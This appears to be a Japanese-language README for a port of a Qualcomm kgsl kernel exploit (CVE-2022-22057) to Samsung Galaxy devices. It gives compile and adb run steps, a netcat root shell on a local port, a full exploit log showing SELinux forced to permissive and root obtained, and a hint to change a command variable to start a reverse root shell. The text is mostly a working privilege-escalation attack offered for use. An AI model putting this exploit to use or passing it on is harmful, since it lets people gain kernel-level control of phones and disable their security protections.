
Qualcomm kgsl ドライバーのエクスプロイト (CVE-2022-22057) for Samsung Galaxy デバイス向けで、任意のカーネルメモリの読み書き、SELinux バイパス、レースコンディションによる一時的なルートアクセスを実現
SM-F926U向けの私の適応版で、元のエクスプロイトはこちらです。
エクスプロイトを発見し、SM-F926Uへの移植と使いやすくするための質問に対して極めて忍耐強く対応してくれたm-y-moに多大な感謝を捧げます。
Shizukuのコードをベースにしたスタートアップデーモン(libtimeline.so)を追加しました。
一時ルートソリューションを安定させるためのダーティなトリックを追加しました(下記参照)。
免責事項:私は破壊されたデバイス、データ損失、データ盗難、デバイスのセキュリティについて一切責任を負いません。
免責事項2:私は開発者ではなく、プロフェッショナルな改造者に近い存在です。問題が発生した場合、助けようとするかもしれませんが、このスレッドを二度と見ないかもしれません。自己責任で進めてください。
必要条件:
手順:
/data/local/tmp/timeline を直接実行すると、エクスプロイトが動作しているかハングしているかがわかります(下記の注意事項を参照)/data/local/tmp/libtimeline.so を実行するnetcat 127.0.0.1 6969 と入力して、ルートシェルに接続するid と入力するとルートの資格情報が表示されるはずですecho 'YOUR COMMAND' | netcat 127.0.0.1 6969さらなる注意事項:
topでtimelineが約100%のCPU使用率で動作していることに気づくでしょう。これが正当なものかどうかはわかりません。実際は、プロセスが閉じてデバイスがクラッシュするのを防ぐためにwhile(1)状態になっているだけなので、CPU使用率が高い原因やそれが誤検出かどうかはまだ見つけていません。解説記事はこちらにあります here。これは2021年11月に報告したQualcomm kgslドライバのバグです。このバグを利用すると、信頼されていないアプリドメインから任意のカーネルメモリの読み取りと書き込みが可能になり、SELinuxを無効にしてルートを取得できます。
このエクスプロイトは、ファームウェアバージョンF711BXXS2BUL6、ベースバンドF711BXXU2BUL4、カーネルバージョン5.4.86-qgki-23063627-abF711BXXS2BUL6(EUX地域)のSamsung Galaxy Z Flip 3(欧州版SM-F711B)でテストされています。エクスプロイト内のオフセットは、そのファームウェアバージョンを参照しています。通常のカーネルイメージ内のオフセットに加えて、ion_utils.c内のionメモリプールのさまざまなアドレスもファームウェア固有です。
参考までに、ndk-21のclangでコンパイルするために以下のコマンドを使用しました:
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang -O2 timeline_wait.c sendmsg_spray.c signalfd_spray.c cpu_utils.c ion_utils.c fake_obj_util.c work_queue_utils.c -o timeline
エクスプロイトはかなり信頼性が高いです(テストデバイスで約70%)。ただし、起動後数分間は起動直後に多くのbroken/failedなbinder呼び出しが発生するため、実行前に数分待つ必要があります。(Qualcommの問題かSamsungの問題かは完全にはわかりません)
テストするには、ファイルをクロスコンパイルし、adbで実行します:
adb push timeline /data/local/tmp
adb shell
b2q:/ $ /data/local/tmp/timeline
成功すると、SELinuxが無効になり、idコマンドがrootとして実行され、結果が /data/local/tmp/id.txt ファイルに書き込まれます:
b2q:/ $ /data/local/tmp/timeline
heap_id_mask 40
ion region 0x75a0ccf000
region start addr: ffffff8071800000
fence kernel addr: ffffff8071fe0040 192
created fake slab at ffffff8071840100
[+] reallocation data initialized!
[ ] initializing reallocation threads, please wait...
[+] 40 reallocation threads ready!
timeline_wait start
readpipe start
destroy start
readpipe
Caught signal: 10
wait complete -1
readpipe finished
destroy finished
cb_list ffffffc02d943bf8 temp ffffffc02d943c48
mask 52424242 60
cpu_id 0
interval number 1
mask 7f8e7bfeff 7
thread number 0 7 20014
thread batch number 0
new mask 7f8e7bfeff ffffff8071840100
region_offset 40100
sprayed 1024 ion buffer
start searching for buffer
Found 7 ion regions
heap_ops ffffffc012e17180, kernel base: a00b8000
set enforcing to permissive
[+] successfully overwritten selinux_enforcing
wq_ptr_addr: ffffffc012dc2518
wq_addr: ffffff81f4cf1200
pwq_addr ffffff81e24ea100
pool_addr ffffff805ff7c000
worklist ffffff805ff7c020 ffffff805ff7c020
queue work
max_active 256 nr_active 0
queuing work, waiting to aquire spin lock
work_queued
work processed
complete 0
ret 0
nr_active 0
worklist ffffff805ff7c020
work next ffffff8071842c08
[+] successfully run command and added id.txt in /data/local/tmp
finished queue work
freeing ion dma fd
finished freeing ion dma fd
finished spraying
finished
wait complete -1 が表示された後、長い一時停止がありますが、これは1分以内であるべきで、正常です。また、ワークをキューに入れるのに時間がかかる場合もあります(queuing work, waiting to aquire spin lock が表示された後、数分かかることがあり、忍耐が必要ですが、それほど一般的ではありません)。エクスプロイトは通常、数分で完了します。
ファイル /data/local/tmp/id.txt で、コマンドがrootとして実行されたことを確認できます:
b2q:/ $ cat /data/local/tmp/id.txt
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
別のコマンドを実行するには、work_queue_utils.c の setup_sub_info 内の変数 cmd を変更します。(例:リバースルートシェルを起動するなど)